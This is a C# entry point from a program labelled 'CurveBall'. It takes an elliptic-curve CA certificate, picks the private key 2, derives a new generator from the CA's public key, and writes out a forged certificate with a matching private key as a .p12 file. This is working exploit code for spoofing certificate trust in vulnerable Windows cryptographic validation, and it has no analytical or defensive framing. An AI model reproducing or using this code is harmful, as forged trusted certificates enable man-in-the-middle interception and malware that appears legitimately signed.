private static void Main(string[] args)
{
Console.WriteLine("=== CurveBall ===");
if (args.Length != 1)
{
throw new ArgumentException("Please specify a path to the certificate");
}
Console.WriteLine("= Loading certificate");
var certificate = new X509Certificate2(args[0]);
certificate.AssertECC();
Console.WriteLine("= Fetching public key");
var publicKeyParameters = certificate.GetPublicKeyParameters();
Console.WriteLine("= Choosing private key k = 2");
var newPrivateKey = publicKeyParameters.Parameters.Curve.FromBigInteger(BigInteger.Two);
Console.WriteLine("= Computing new generator G = k^(-1)Q");
var newGenerator = CreateGenerator(publicKeyParameters, newPrivateKey);
Console.WriteLine("= Creating X509Certificate");
var newDomainParameters = new ECDomainParameters(publicKeyParameters.Parameters.Curve, newGenerator, publicKeyParameters.Parameters.N);
var newPublicKeyParameters = new ECPublicKeyParameters(publicKeyParameters.Q, newDomainParameters);
var newPrivateKeyParameters = new ECPrivateKeyParameters(newPrivateKey.ToBigInteger(), newDomainParameters);
var newCertificate = CreateX509Certificate(certificate, newPublicKeyParameters, newPrivateKeyParameters);
Console.WriteLine("= Writing to file (*.p12)");
WriteToP12(newCertificate, newPrivateKeyParameters);
}
